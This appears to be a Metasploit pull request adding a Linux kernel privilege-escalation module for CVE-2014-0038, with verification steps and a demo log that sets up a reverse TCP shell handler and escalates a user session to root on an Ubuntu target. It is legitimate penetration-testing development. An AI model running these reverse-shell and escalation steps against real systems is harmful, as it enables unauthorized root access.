rapid7/metasploit-framework — pull request #3014 by jvazquez-r7 (2014-02-19 20:17:47+00:00)
Title: Add module for CVE-2014-0038

*Importante Note*: Land after #3013

This pull request is also including the metasm update to make easier to test the exploit atm. It won't work with the current metasm version included into the framework.

But the metasm update review should be done at #3013.

This pull request probably will need "deconfliction" after #3013

Verification
----------

- [ ] Install a vulnerable target, the exploit include symbols addresses for a couple of ubuntu kernels, it would do easier the testing.
- [ ] Get a shell session (linux/x64/shell/reverse_tcp) on the vulnerable system
- [ ] Run the local exploit like in the demo, hopefully you'll enjoy a new and privileged session!

DEMO
---------

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x64/shell/reverse_tcp
payload => linux/x64/shell/reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Sending stage (38 bytes) to 192.168.172.133
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.133:56240) at 2014-02-19 12:56:07 -0600

^Z
Background session 1? [y/N] y

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

id
uid=1000(juan) gid=1000(juan) groups=1000(juan),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)
uname -r
3.8.0-29-generic
^Z
Background session 1? [y/N] y

msf exploit(net_compat_two) > show targets

Exploit targets:

Id Name
-- ----
0 Ubuntu Desktop 13.10 x64 Kernel 3.11.0-12-generic
1 Ubuntu Server 12.04.3 x64 Kernel 3.8.0-29-generic
2 Manual

msf exploit(net_compat_two) > set target 1
target => 1
msf exploit(net_compat_two) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Writing exploit executable to /tmp/oXQgQmsd (5032 bytes)...
[*] Writing payload to /tmp/2MmACuFB...
[*] Providing +x permissions...
[!] Exploiting. It needs a long time, a little more than 4 minutes...
[*] Deleting binaries...
[*] Sending stage (38 bytes) to 192.168.172.133
[*] Command shell session 2 opened (192.168.172.1:4444 -> 192.168.172.133:56241) at 2014-02-19 13:06:16 -0600

id
uid=0(root) gid=0(root) groups=0(root)
```